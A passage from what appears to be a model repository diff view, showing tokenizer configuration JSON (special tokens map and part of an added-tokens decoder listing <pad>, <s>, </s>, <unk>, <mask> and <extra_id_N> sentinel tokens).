},
|
528 |
+
{
|
529 |
+
"content": "<extra_id_24>",
|
530 |
+
"lstrip": true,
|
531 |
+
"normalized": true,
|
532 |
+
"rstrip": false,
|
533 |
+
"single_word": false
|
534 |
+
},
|
535 |
+
{
|
536 |
+
"content": "<extra_id_23>",
|
537 |
+
"lstrip": true,
|
538 |
+
"normalized": true,
|
539 |
+
"rstrip": false,
|
540 |
+
"single_word": false
|
541 |
+
},
|
542 |
+
{
|
543 |
+
"content": "<extra_id_22>",
|
544 |
+
"lstrip": true,
|
545 |
+
"normalized": true,
|
546 |
+
"rstrip": false,
|
547 |
+
"single_word": false
|
548 |
+
},
|
549 |
+
{
|
550 |
+
"content": "<extra_id_21>",
|
551 |
+
"lstrip": true,
|
552 |
+
"normalized": true,
|
553 |
+
"rstrip": false,
|
554 |
+
"single_word": false
|
555 |
+
},
|
556 |
+
{
|
557 |
+
"content": "<extra_id_20>",
|
558 |
+
"lstrip": true,
|
559 |
+
"normalized": true,
|
560 |
+
"rstrip": false,
|
561 |
+
"single_word": false
|
562 |
+
},
|
563 |
+
{
|
564 |
+
"content": "<extra_id_19>",
|
565 |
+
"lstrip": true,
|
566 |
+
"normalized": true,
|
567 |
+
"rstrip": false,
|
568 |
+
"single_word": false
|
569 |
+
},
|
570 |
+
{
|
571 |
+
"content": "<extra_id_18>",
|
572 |
+
"lstrip": true,
|
573 |
+
"normalized": true,
|
574 |
+
"rstrip": false,
|
575 |
+
"single_word": false
|
576 |
+
},
|
577 |
+
{
|
578 |
+
"content": "<extra_id_17>",
|
579 |
+
"lstrip": true,
|
580 |
+
"normalized": true,
|
581 |
+
"rstrip": false,
|
582 |
+
"single_word": false
|
583 |
+
},
|
584 |
+
{
|
585 |
+
"content": "<extra_id_16>",
|
586 |
+
"lstrip": true,
|
587 |
+
"normalized": true,
|
588 |
+
"rstrip": false,
|
589 |
+
"single_word": false
|
590 |
+
},
|
591 |
+
{
|
592 |
+
"content": "<extra_id_15>",
|
593 |
+
"lstrip": true,
|
594 |
+
"normalized": true,
|
595 |
+
"rstrip": false,
|
596 |
+
"single_word": false
|
597 |
+
},
|
598 |
+
{
|
599 |
+
"content": "<extra_id_14>",
|
600 |
+
"lstrip": true,
|
601 |
+
"normalized": true,
|
602 |
+
"rstrip": false,
|
603 |
+
"single_word": false
|
604 |
+
},
|
605 |
+
{
|
606 |
+
"content": "<extra_id_13>",
|
607 |
+
"lstrip": true,
|
608 |
+
"normalized": true,
|
609 |
+
"rstrip": false,
|
610 |
+
"single_word": false
|
611 |
+
},
|
612 |
+
{
|
613 |
+
"content": "<extra_id_12>",
|
614 |
+
"lstrip": true,
|
615 |
+
"normalized": true,
|
616 |
+
"rstrip": false,
|
617 |
+
"single_word": false
|
618 |
+
},
|
619 |
+
{
|
620 |
+
"content": "<extra_id_11>",
|
621 |
+
"lstrip": true,
|
622 |
+
"normalized": true,
|
623 |
+
"rstrip": false,
|
624 |
+
"single_word": false
|
625 |
+
},
|
626 |
+
{
|
627 |
+
"content": "<extra_id_10>",
|
628 |
+
"lstrip": true,
|
629 |
+
"normalized": true,
|
630 |
+
"rstrip": false,
|
631 |
+
"single_word": false
|
632 |
+
},
|
633 |
+
{
|
634 |
+
"content": "<extra_id_9>",
|
635 |
+
"lstrip": true,
|
636 |
+
"normalized": true,
|
637 |
+
"rstrip": false,
|
638 |
+
"single_word": false
|
639 |
+
},
|
640 |
+
{
|
641 |
+
"content": "<extra_id_8>",
|
642 |
+
"lstrip": true,
|
643 |
+
"normalized": true,
|
644 |
+
"rstrip": false,
|
645 |
+
"single_word": false
|
646 |
+
},
|
647 |
+
{
|
648 |
+
"content": "<extra_id_7>",
|
649 |
+
"lstrip": true,
|
650 |
+
"normalized": true,
|
651 |
+
"rstrip": false,
|
652 |
+
"single_word": false
|
653 |
+
},
|
654 |
+
{
|
655 |
+
"content": "<extra_id_6>",
|
656 |
+
"lstrip": true,
|
657 |
+
"normalized": true,
|
658 |
+
"rstrip": false,
|
659 |
+
"single_word": false
|
660 |
+
},
|
661 |
+
{
|
662 |
+
"content": "<extra_id_5>",
|
663 |
+
"lstrip": true,
|
664 |
+
"normalized": true,
|
665 |
+
"rstrip": false,
|
666 |
+
"single_word": false
|
667 |
+
},
|
668 |
+
{
|
669 |
+
"content": "<extra_id_4>",
|
670 |
+
"lstrip": true,
|
671 |
+
"normalized": true,
|
672 |
+
"rstrip": false,
|
673 |
+
"single_word": false
|
674 |
+
},
|
675 |
+
{
|
676 |
+
"content": "<extra_id_3>",
|
677 |
+
"lstrip": true,
|
678 |
+
"normalized": true,
|
679 |
+
"rstrip": false,
|
680 |
+
"single_word": false
|
681 |
+
},
|
682 |
+
{
|
683 |
+
"content": "<extra_id_2>",
|
684 |
+
"lstrip": true,
|
685 |
+
"normalized": true,
|
686 |
+
"rstrip": false,
|
687 |
+
"single_word": false
|
688 |
+
},
|
689 |
+
{
|
690 |
+
"content": "<extra_id_1>",
|
691 |
+
"lstrip": true,
|
692 |
+
"normalized": true,
|
693 |
+
"rstrip": false,
|
694 |
+
"single_word": false
|
695 |
+
},
|
696 |
+
{
|
697 |
+
"content": "<extra_id_0>",
|
698 |
+
"lstrip": true,
|
699 |
+
"normalized": true,
|
700 |
+
"rstrip": false,
|
701 |
+
"single_word": false
|
702 |
+
}
|
703 |
+
],
|
704 |
+
"bos_token": {
|
705 |
+
"content": "<s>",
|
706 |
+
"lstrip": false,
|
707 |
+
"normalized": true,
|
708 |
+
"rstrip": false,
|
709 |
+
"single_word": false
|
710 |
+
},
|
711 |
+
"cls_token": {
|
712 |
+
"content": "<s>",
|
713 |
+
"lstrip": false,
|
714 |
+
"normalized": true,
|
715 |
+
"rstrip": false,
|
716 |
+
"single_word": false
|
717 |
+
},
|
718 |
+
"eos_token": {
|
719 |
+
"content": "</s>",
|
720 |
+
"lstrip": false,
|
721 |
+
"normalized": true,
|
722 |
+
"rstrip": false,
|
723 |
+
"single_word": false
|
724 |
+
},
|
725 |
+
"mask_token": {
|
726 |
+
"content": "<mask>",
|
727 |
+
"lstrip": true,
|
728 |
+
"normalized": true,
|
729 |
+
"rstrip": false,
|
730 |
+
"single_word": false
|
731 |
+
},
|
732 |
+
"pad_token": {
|
733 |
+
"content": "<pad>",
|
734 |
+
"lstrip": false,
|
735 |
+
"normalized": true,
|
736 |
+
"rstrip": false,
|
737 |
+
"single_word": false
|
738 |
+
},
|
739 |
+
"sep_token": {
|
740 |
+
"content": "</s>",
|
741 |
+
"lstrip": false,
|
742 |
+
"normalized": true,
|
743 |
+
"rstrip": false,
|
744 |
+
"single_word": false
|
745 |
+
},
|
746 |
+
"unk_token": {
|
747 |
+
"content": "<unk>",
|
748 |
+
"lstrip": false,
|
749 |
+
"normalized": true,
|
750 |
+
"rstrip": false,
|
751 |
+
"single_word": false
|
752 |
+
}
|
753 |
+
}
|
tokenizer.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|
tokenizer_config.json
ADDED
@@ -0,0 +1,960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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"add_prefix_space": false,
|
3 |
+
"added_tokens_decoder": {
|
4 |
+
"0": {
|
5 |
+
"content": "<pad>",
|
6 |
+
"lstrip": false,
|
7 |
+
"normalized": true,
|
8 |
+
"rstrip": false,
|
9 |
+
"single_word": false,
|
10 |
+
"special": true
|
11 |
+
},
|
12 |
+
"1": {
|
13 |
+
"content": "<s>",
|
14 |
+
"lstrip": false,
|
15 |
+
"normalized": true,
|
16 |
+
"rstrip": false,
|
17 |
+
"single_word": false,
|
18 |
+
"special": true
|
19 |
+
},
|
20 |
+
"2": {
|
21 |
+
"content": "</s>",
|
22 |
+
"lstrip": false,
|
23 |
+
"normalized": true,
|
24 |
+
"rstrip": false,
|
25 |
+
"single_word": false,
|
26 |
+
"special": true
|
27 |
+
},
|
28 |
+
"3": {
|
29 |
+
"content": "<unk>",
|
30 |
+
"lstrip": false,
|
31 |
+
"normalized": true,
|
32 |
+
"rstrip": false,
|
33 |
+
"single_word": false,
|
34 |
+
"special": true
|
35 |
+
},
|
36 |
+
"4": {
|
37 |
+
"content": "<mask>",
|
38 |
+
"lstrip": true,
|
39 |
+
"normalized": true,
|
40 |
+
"rstrip": false,
|
41 |
+
"single_word": false,
|
42 |
+
"special": true
|
43 |
+
},
|
44 |
+
"32000": {
|
45 |
+
"content": "<extra_id_99>",
|
46 |
+
"lstrip": true,
|
47 |
+
"normalized": true,
|
48 |
+
"rstrip": false,
|
49 |
+
"single_word": false,
|
50 |
+
"special": true
|
51 |
+
},
|
52 |
+
"32001": {
|
53 |
+
"content": "<extra_id_98>",
|
54 |
+
"lstrip": true,
|
55 |
+
"normalized": true,
|
56 |
+
"rstrip": false,
|
57 |
+
"single_word": false,
|
58 |
+
"special": true
|
59 |
+
},
|
60 |
+
"32002": {
|
61 |
+
"content": "<extra_id_97>",
|
62 |
+
"lstrip": true,
|
63 |
+
"normalized": true,
|
64 |
+
"rstrip": false,
|
65 |
+
"single_word": false,
|
66 |
+
"special": true
|
67 |
+
},
|
68 |
+
"32003": {
|
69 |
+
"content": "<extra_id_96>",
|
70 |
+
"lstrip": true,
|
71 |
+
"normalized": true,
|
72 |
+
"rstrip": false,
|
73 |
+
"single_word": false,
|
74 |
+
"special": true
|
75 |
+
},
|
76 |
+
"32004": {
|
77 |
+
"content": "<extra_id_95>",
|
78 |
+
"lstrip": true,
|
79 |
+
"normalized": true,
|
80 |
+
"rstrip": false,
|
81 |
+
"single_word": false,
|
82 |
+
"special": true
|
83 |
+
},
|
84 |
+
"32005": {
|
85 |
+
"content": "<extra_id_94>",
|
86 |
+
"lstrip": true,
|
87 |
+
"normalized": true,
|
88 |
+
"rstrip": false,
|
89 |
+
"single_word": false,
|
90 |
+
"special": true
|
91 |
+
},
|
92 |
+
"32006": {
|
93 |
+
"content": "<extra_id_93>",
|
94 |
+
"lstrip": true,
|
95 |
+
"normalized": true,
|
96 |
+
"rstrip": false,
|
97 |
+
"single_word": false,
|
98 |
+
"special": true
|
99 |
+
},
|
100 |
+
"32007": {
|
101 |
+
"content": "<extra_id_92>",
|
102 |
+
"lstrip": true,
|
103 |
+
"normalized": true,
|
104 |
+
"rstrip": false,
|
105 |
+
"single_word": false,
|
106 |
+
"special": true
|
107 |
+
},
|
108 |
+
"32008": {
|
109 |
+
"content": "<extra_id_91>",
|
110 |
+
"lstrip": true,
|
111 |
+
"normalized": true,
|
112 |
+
"rstrip": false,
|
113 |
+
"single_word": false,
|
114 |
+
"special": true
|
115 |
+
},
|
116 |
+
"32009": {
|
117 |
+
"content": "<extra_id_90>",
|
118 |
+
"lstrip": true,
|
119 |
+
"normalized": true,
|
120 |
+
"rstrip": false,
|
121 |
+
"single_word": false,
|
122 |
+
"special": true
|
123 |
+
},
|
124 |
+
"32010": {
|
125 |
+
"content": "<extra_id_89>",
|
126 |
+
"lstrip": true,
|
127 |
+
"normalized": true,
|
128 |
+
"rstrip": false,
|
129 |
+
"single_word": false,
|
130 |
+
"special": true
|
131 |
+
},
|
132 |
+
"32011": {
|
133 |
+
"content": "<extra_id_88>",
|
134 |
+
"lstrip": true,
|
135 |
+
"normalized": true,
|
136 |
+
"rstrip": false,
|
137 |
+
"single_word": false,
|
138 |
+
"special": true
|
139 |
+
},
|
140 |
+
"32012": {
|
141 |
+
"content": "<extra_id_87>",
|
142 |
+
"lstrip": true,
|
143 |
+
"normalized": true,
|
144 |
+
"rstrip": false,
|
145 |
+
"single_word": false,
|
146 |
+
"special": true
|
147 |
+
},
|
148 |
+
"32013": {
|
149 |
+
"content": "<extra_id_86>",
|
150 |
+
"lstrip": true,
|
151 |
+
"normalized": true,
|
152 |
+
"rstrip": false,
|
153 |
+
"single_word": false,
|
154 |
+
"special": true
|
155 |
+
},
|
156 |
+
"32014": {
|
157 |
+
"content": "<extra_id_85>",
|
158 |
+
"lstrip": true,
|
159 |
+
"normalized": true,
|
160 |
+
"rstrip": false,
|
161 |
+
"single_word": false,
|
162 |
+
"special": true
|
163 |
+
},
|
164 |
+
"32015": {
|
165 |
+
"content": "<extra_id_84>",
|
166 |
+
"lstrip": true,
|
167 |
+
"normalized": true,
|
168 |
+
"rstrip": false,
|
169 |
+
"single_word": false,
|
170 |
+
"special": true
|
171 |
+
},
|
172 |
+
"32016": {
|
173 |
+
"content": "<extra_id_83>",
|
174 |
+
"lstrip": true,
|
175 |
+
"normalized": true,
|
176 |
+
"rstrip": false,
|
177 |
+
"single_word": false,
|
178 |
+
"special": true
|
179 |
+
},
|
180 |
+
"32017": {
|
181 |
+
"content": "<extra_id_82>",
|
182 |
+
"lstrip": true,
|
183 |
+
"normalized": true,
|
184 |
+
"rstrip": false,
|
185 |
+
"single_word": false,
|
186 |
+
"special": true
|
187 |
+
},
|
188 |
+
"32018": {
|
189 |
+
"content": "<extra_id_81>",
|
190 |
+
"lstrip": true,
|
191 |
+
"normalized": true,
|
192 |
+
"rstrip": false,
|
193 |
+
"single_word": false,
|
194 |
+
"special": true
|
195 |
+
},
|
196 |
+
"32019": {
|
197 |
+
"content": "<extra_id_80>",
|
198 |
+
"lstrip": true,
|
199 |
+
"normalized": true,
|
200 |
+
"rstrip": false,
|
201 |
+
"single_word": false,
|
202 |
+
"special": true
|
203 |
+
},
|
204 |
+
"32020": {
|
205 |
+
"content": "<extra_id_79>",
|
206 |
+
"lstrip": true,
|
207 |
+
"normalized": true,
|
208 |
+
"rstrip": false,
|
209 |
+
"single_word": false,
|
210 |
+
"special": true
|
211 |
+
},
|
212 |
+
"32021": {
|
213 |
+
"content": "<extra_id_78>",
|
214 |
+
"lstrip": true,
|
215 |
+
"normalized": true,
|
216 |
+
"rstrip": false,
|
217 |
+
"single_word": false,
|
218 |
+
"special": true
|
219 |
+
},
|
220 |
+
"32022": {
|
221 |
+
"content": "<extra_id_77>",
|
222 |
+
"lstrip": true,
|
223 |
+
"normalized": true,
|
224 |
+
"rstrip": false,
|
225 |
+
"single_word": false,
|
226 |
+
"special": true
|
227 |
+
},
|
228 |
+
"32023": {
|
229 |
+
"content": "<extra_id_76>",
|
230 |
+
"lstrip": true,
|
231 |
+
"normalized": true,
|
232 |
+
"rstrip": false,
|
233 |
+
"single_word": false,
|
234 |
+
"special": true
|
235 |
+
},
|
236 |
+
"32024": {
|
237 |
+
"content": "<extra_id_75>",
|
238 |
+
"lstrip": true,
|
239 |
+
"normalized": true,
|
240 |
+
"rstrip": false,
|
241 |
+
"single_word": false,
|
242 |
+
"special": true
|
243 |
+
},
|
244 |
+
"32025": {
|
245 |
+
"content": "<extra_id_74>",
|
246 |
+
"lstrip": true,
|
247 |
+
"normalized": true,
|
248 |
+
"rstrip": false,
|
249 |
+
"single_word": false,
|
250 |
+
"special": true
|
251 |
+
},
|
252 |
+
"32026": {
|
253 |
+
"content": "<extra_id_73>",
|
254 |
+
"lstrip": true,
|
255 |
+
"normalized": true,
|
256 |
+
"rstrip": false,
|
257 |
+
"single_word": false,
|
258 |
+
"special": true
|
259 |
+
},
|
260 |
+
"32027": {
|
261 |
+
"content": "<extra_id_72>",
|
262 |
+
"lstrip": true,
|
263 |
+
"normalized": true,
|
264 |
+
"rstrip": false,
|
265 |
+
"single_word": false,
|
266 |
+
"special": true
|
267 |
+
},
|
268 |
+
"32028": {
|
269 |
+
"content": "<extra_id_71>",
|
270 |
+
"lstrip": true,
|
271 |
+
"normalized": true,
|
272 |
+
"rstrip": false,
|
273 |
+
"single_word": false,
|
274 |
+
"special": true
|
275 |
+
},
|
276 |
+
"32029": {
|
277 |
+
"content": "<extra_id_70>",
|
278 |
+
"lstrip": true,
|
279 |
+
"normalized": true,
|
280 |
+
"rstrip": false,
|
281 |
+
"single_word": false,
|
282 |
+
"special": true
|
283 |
+
},
|
284 |
+
"32030": {
|
285 |
+
"content": "<extra_id_69>",
|
286 |
+
"lstrip": true,
|
287 |
+
"normalized": true,
|
288 |
+
"rstrip": false,
|
289 |
+
"single_word": false,
|
290 |
+
"special": true
|
291 |
+
},
|
292 |
+
"32031": {
|
293 |
+
"content": "<extra_id_68>",
|
294 |
+
"lstrip": true,
|
295 |
+
"normalized": true,
|
296 |
+
"rstrip": false,
|
297 |
+
"single_word": false,
|
298 |
+
"special": true
|
299 |
+
},
|
300 |
+
"32032": {
|
301 |
+
"content": "<extra_id_67>",
|
302 |
+
"lstrip": true,
|
303 |
+
"normalized": true,
|
304 |
+
"rstrip": false,
|
305 |
+
"single_word": false,
|
306 |
+
"special": true
|
307 |
+
},
|
308 |
+
"32033": {
|
309 |
+
"content": "<extra_id_66>",
|
310 |
+
"lstrip": true,
|
311 |
+
"normalized": true,
|
312 |
+
"rstrip": false,
|
313 |
+
"single_word": false,
|
314 |
+
"special": true
|
315 |
+
},
|
316 |
+
"32034": {
|
317 |
+
"content": "<extra_id_65>",
|
318 |
+
"lstrip": true,
|
319 |
+
"normalized": true,
|
320 |
+
"rstrip": false,
|
321 |
+
"single_word": false,
|
322 |
+
"special": true
|
323 |
+
},
|
324 |
+
"32035": {
|
325 |
+
"content": "<extra_id_64>",
|
326 |
+
"lstrip": true,
|
327 |
+
"normalized": true,
|
328 |
+
"rstrip": false,
|
329 |
+
"single_word": false,
|
330 |
+
"special": true
|
331 |
+
},
|
332 |
+
"32036": {
|
333 |
+
"content": "<extra_id_63>",
|
334 |
+
"lstrip": true,
|
335 |
+
"normalized": true,
|
336 |
+
"rstrip": false,
|
337 |
+
"single_word": false,
|
338 |
+
"special": true
|
339 |
+
},
|
340 |
+
"32037": {
|
341 |
+
"content": "<extra_id_62>",
|
342 |
+
"lstrip": true,
|
343 |
+
"normalized": true,
|
344 |
+
"rstrip": false,
|
345 |
+
"single_word": false,
|
346 |
+
"special": true
|
347 |
+
},
|
348 |
+
"32038": {
|
349 |
+
"content": "<extra_id_61>",
|
350 |
+
"lstrip": true,
|
351 |
+
"normalized": true,
|
352 |
+
"rstrip": false,
|
353 |
+
"single_word": false,
|
354 |
+
"special": true
|
355 |
+
},
|
356 |
+
"32039": {
|
357 |
+
"content": "<extra_id_60>",
|
358 |
+
"lstrip": true,
|
359 |
+
"normalized": true,
|
360 |
+
"rstrip": false,
|
361 |
+
"single_word": false,
|
362 |
+
"special": true
|
363 |
+
},
|
364 |
+
"32040": {
|
365 |
+
"content": "<extra_id_59>",
|
366 |
+
"lstrip": true,
|
367 |
+
"normalized": true,
|
368 |
+
"rstrip": false,
|
369 |
+
"single_word": false,
|
370 |
+
"special": true
|
371 |
+
},
|
372 |
+
"32041": {
|
373 |
+
"content": "<extra_id_58>",
|
374 |
+
"lstrip": true,
|
375 |
+
"normalized": true,
|
376 |
+
"rstrip": false,
|
377 |
+
"single_word": false,
|
378 |
+
"special": true
|
379 |
+
},
|
380 |
+
"32042": {
|
381 |
+
"content": "<extra_id_57>",
|
382 |
+
"lstrip": true,
|
383 |
+
"normalized": true,
|
384 |
+
"rstrip": false,
|
385 |
+
"single_word": false,
|
386 |
+
"special": true
|
387 |
+
},
|
388 |
+
"32043": {
|
389 |
+
"content": "<extra_id_56>",
|
390 |
+
"lstrip": true,
|
391 |
+
"normalized": true,
|
392 |
+
"rstrip": false,
|
393 |
+
"single_word": false,
|
394 |
+
"special": true
|
395 |
+
},
|
396 |
+
"32044": {
|
397 |
+
"content": "<extra_id_55>",
|
398 |
+
"lstrip": true,
|
399 |
+
"normalized": true,
|
400 |
+
"rstrip": false,
|
401 |
+
"single_word": false,
|
402 |
+
"special": true
|
403 |
+
},
|
404 |
+
"32045": {
|
405 |
+
"content": "<extra_id_54>",
|
406 |
+
"lstrip": true,
|
407 |
+
"normalized": true,
|
408 |
+
"rstrip": false,
|
409 |
+
"single_word": false,
|
410 |
+
"special": true
|
411 |
+
},
|
412 |
+
"32046": {
|
413 |
+
"content": "<extra_id_53>",
|
414 |
+
"lstrip": true,
|
415 |
+
"normalized": true,
|
416 |
+
"rstrip": false,
|
417 |
+
"single_word": false,
|
418 |
+
"special": true
|
419 |
+
},
|
420 |
+
"32047": {
|
421 |
+
"content": "<extra_id_52>",
|
422 |
+
"lstrip": true,
|
423 |
+
"normalized": true,
|
424 |
+
"rstrip": false,
|
425 |
+
"single_word": false,
|
426 |
+
"special": true
|
427 |
+
},
|
428 |
+
"32048": {
|
429 |
+
"content": "<extra_id_51>",
|
430 |
+
"lstrip": true,
|
431 |
+
"normalized": true,
|
432 |
+
"rstrip": false,
|
433 |
+
"single_word": false,
|
434 |
+
"special": true
|
435 |
+
},
|
436 |
+
"32049": {
|
437 |
+
"content": "<extra_id_50>",
|
438 |
+
"lstrip": true,
|
439 |
+
"normalized": true,
|
440 |
+
"rstrip": false,
|
441 |
+
"single_word": false,
|
442 |
+
"special": true
|
443 |
+
},
|
444 |
+
"32050": {
|
445 |
+
"content": "<extra_id_49>",
|
446 |
+
"lstrip": true,
|
447 |
+
"normalized": true,
|
448 |
+
"rstrip": false,
|
449 |
+
"single_word": false,
|
450 |
+
"special": true
|
451 |
+
},
|
452 |
+
"32051": {
|
453 |
+
"content": "<extra_id_48>",
|
454 |
+
"lstrip": true,
|
455 |
+
"normalized": true,
|
456 |
+
"rstrip": false,
|
457 |
+
"single_word": false,
|
458 |
+
"special": true
|
459 |
+
},
|
460 |
+
"32052": {
|
461 |
+
"content": "<extra_id_47>",
|
462 |
+
"lstrip": true,
|
463 |
+
"normalized": true,
|
464 |
+
"rstrip": false,
|
465 |
+
"single_word": false,
|
466 |
+
"special": true
|
467 |
+
},
|
468 |
+
"32053": {
|
469 |
+
"content": "<extra_id_46>",
|
470 |
+
"lstrip": true,
|
471 |
+
"normalized": true,
|
472 |
+
"rstrip": false,
|
473 |
+
"single_word": false,
|
474 |
+
"special": true
|
475 |
+
},
|
476 |
+
"32054": {
|
477 |
+
"content": "<extra_id_45>",
|
478 |
+
"lstrip": true,
|
479 |
+
"normalized": true,
|
480 |
+
"rstrip": false,
|
481 |
+
"single_word": false,
|
482 |
+
"special": true
|
483 |
+
},
|
484 |
+
"32055": {
|
485 |
+
"content": "<extra_id_44>",
|
486 |
+
"lstrip": true,
|
487 |
+
"normalized": true,
|
488 |
+
"rstrip": false,
|
489 |
+
"single_word": false,
|
490 |
+
"special": true
|
491 |
+
},
|
492 |
+
"32056": {
|
493 |
+
"content": "<extra_id_43>",
|
494 |
+
"lstrip": true,
|
495 |
+
"normalized": true,
|
496 |
+
"rstrip": false,
|
497 |
+
"single_word": false,
|
498 |
+
"special": true
|
499 |
+
},
|
500 |
+
"32057": {
|
501 |
+
"content": "<extra_id_42>",
|
502 |
+
"lstrip": true,
|
503 |
+
"normalized": true,
|
504 |
+
"rstrip": false,
|
505 |
+
"single_word": false,
|
506 |
+
"special": true
|
507 |
+
},
|
508 |
+
"32058": {
|
509 |
+
"content": "<extra_id_41>",
|
510 |
+
"lstrip": true,
|
511 |
+
"normalized": true,
|
512 |
+
"rstrip": false,
|
513 |
+
"single_word": false,
|
514 |
+
"special": true
|
515 |
+
},
|
516 |
+
"32059": {
|
517 |
+
"content": "<extra_id_40>",
|
518 |
+
"lstrip": true,
|
519 |
+
"normalized": true,
|
520 |
+
"rstrip": false,
|
521 |
+
"single_word": false,
|
522 |
+
"special": true
|
523 |
+
},
|
524 |
+
"32060": {
|
525 |
+
"content": "<extra_id_39>",
|
526 |
+
"lstrip": true,
|
527 |
+
"normalized": true,
|
528 |
+
"rstrip": false,
|
529 |
+
"single_word": false,
|
530 |
+
"special": true
|
531 |
+
},
|
532 |
+
"32061": {
|
533 |
+
"content": "<extra_id_38>",
|
534 |
+
"lstrip": true,
|
535 |
+
"normalized": true,
|
536 |
+
"rstrip": false,
|
537 |
+
"single_word": false,
|
538 |
+
"special": true
|
539 |
+
},
|
540 |
+
"32062": {
|
541 |
+
"content": "<extra_id_37>",
|
542 |
+
"lstrip": true,
|
543 |
+
"normalized": true,
|
544 |
+
"rstrip": false,
|
545 |
+
"single_word": false,
|
546 |
+
"special": true
|
547 |
+
},
|
548 |
+
"32063": {
|
549 |
+
"content": "<extra_id_36>",
|
550 |
+
"lstrip": true,
|
551 |
+
"normalized": true,
|
552 |
+
"rstrip": false,
|
553 |
+
"single_word": false,
|
554 |
+
"special": true
|
555 |
+
},
|
556 |
+
"32064": {
|
557 |
+
"content": "<extra_id_35>",
|
558 |
+
"lstrip": true,
|
559 |
+
"normalized": true,
|
560 |
+
"rstrip": false,
|
561 |
+
"single_word": false,
|
562 |
+
"special": true
|
563 |
+
},
|
564 |
+
"32065": {
|
565 |
+
"content": "<extra_id_34>",
|
566 |
+
"lstrip": true,
|
567 |
+
"normalized": true,
|
568 |
+
"rstrip": false,
|
569 |
+
"single_word": false,
|
570 |
+
"special": true
|
571 |
+
},
|
572 |
+
"32066": {
|
573 |
+
"content": "<extra_id_33>",
|
574 |
+
"lstrip": true,
|
575 |
+
"normalized": true,
|
576 |
+
"rstrip": false,
|
577 |
+
"single_word": false,
|
578 |
+
"special": true
|
579 |
+
},
|
580 |
+
"32067": {
|
581 |
+
"content": "<extra_id_32>",
|
582 |
+
"lstrip": true,
|
583 |
+
"normalized": true,
|
584 |
+
"rstrip": false,
|
585 |
+
"single_word": false,
|
586 |
+
"special": true
|
587 |
+
},
|
588 |
+
"32068": {
|
589 |
+
"content": "<extra_id_31>",
|
590 |
+
"lstrip": true,
|
591 |
+
"normalized": true,
|
592 |
+
"rstrip": false,
|
593 |
+
"single_word": false,
|
594 |
+
"special": true
|
595 |
+
},
|
596 |
+
"32069": {
|
597 |
+
"content": "<extra_id_30>",
|
598 |
+
"lstrip": true,
|
599 |
+
"normalized": true,
|
600 |
+
"rstrip": false,
|
601 |
+
"single_word": false,
|
602 |
+
"special": true
|
603 |
+
},
|
604 |
+
"32070": {
|
605 |
+
"content": "<extra_id_29>",
|
606 |
+
"lstrip": true,
|
607 |
+
"normalized": true,
|
608 |
+
"rstrip": false,
|
609 |
+
"single_word": false,
|
610 |
+
"special": true
|
611 |
+
},
|
612 |
+
"32071": {
|
613 |
+
"content": "<extra_id_28>",
|
614 |
+
"lstrip": true,
|
615 |
+
"normalized": true,
|
616 |
+
"rstrip": false,
|
617 |
+
"single_word": false,
|
618 |
+
"special": true
|
619 |
+
},
|
620 |
+
"32072": {
|
621 |
+
"content": "<extra_id_27>",
|
622 |
+
"lstrip": true,
|
623 |
+
"normalized": true,
|
624 |
+
"rstrip": false,
|
625 |
+
"single_word": false,
|
626 |
+
"special": true
|
627 |
+
},
|
628 |
+
"32073": {
|
629 |
+
"content": "<extra_id_26>",
|
630 |
+
"lstrip": true,
|
631 |
+
"normalized": true,
|
632 |
+
"rstrip": false,
|
633 |
+
"single_word": false,
|
634 |
+
"special": true
|
635 |
+
},
|
636 |
+
"32074": {
|
637 |
+
"content": "<extra_id_25>",
|
638 |
+
"lstrip": true,
|
639 |
+
"normalized": true,
|
640 |
+
"rstrip": false,
|
641 |
+
"single_word": false,
|
642 |
+
"special": true
|
643 |
+
},
|
644 |
+
"32075": {
|
645 |
+
"content": "<extra_id_24>",
|
646 |
+
"lstrip": true,
|
647 |
+
"normalized": true,
|
648 |
+
"rstrip": false,
|
649 |
+
"single_word": false,
|
650 |
+
"special": true
|
651 |
+
},
|
652 |
+
"32076": {
|
653 |
+
"content": "<extra_id_23>",
|
654 |
+
"lstrip": true,
|
655 |
+
"normalized": true,
|
656 |
+
"rstrip": false,
|
657 |
+
"single_word": false,
|
658 |
+
"special": true
|
659 |
+
},
|
660 |
+
"32077": {
|
661 |
+
"content": "<extra_id_22>",
|
662 |
+
"lstrip": true,
|
663 |
+
"normalized": true,
|
664 |
+
"rstrip": false,
|
665 |
+
"single_word": false,
|
666 |
+
"special": true
|
667 |
+
},
|
668 |
+
"32078": {
|
669 |
+
"content": "<extra_id_21>",
|
670 |
+
"lstrip": true,
|
671 |
+
"normalized": true,
|
672 |
+
"rstrip": false,
|
673 |
+
"single_word": false,
|
674 |
+
"special": true
|
675 |
+
},
|
676 |
+
"32079": {
|
677 |
+
"content": "<extra_id_20>",
|
678 |
+
"lstrip": true,
|
679 |
+
"normalized": true,
|
680 |
+
"rstrip": false,
|
681 |
+
"single_word": false,
|
682 |
+
"special": true
|
683 |
+
},
|
684 |
+
"32080": {
|
685 |
+
"content": "<extra_id_19>",
|
686 |
+
"lstrip": true,
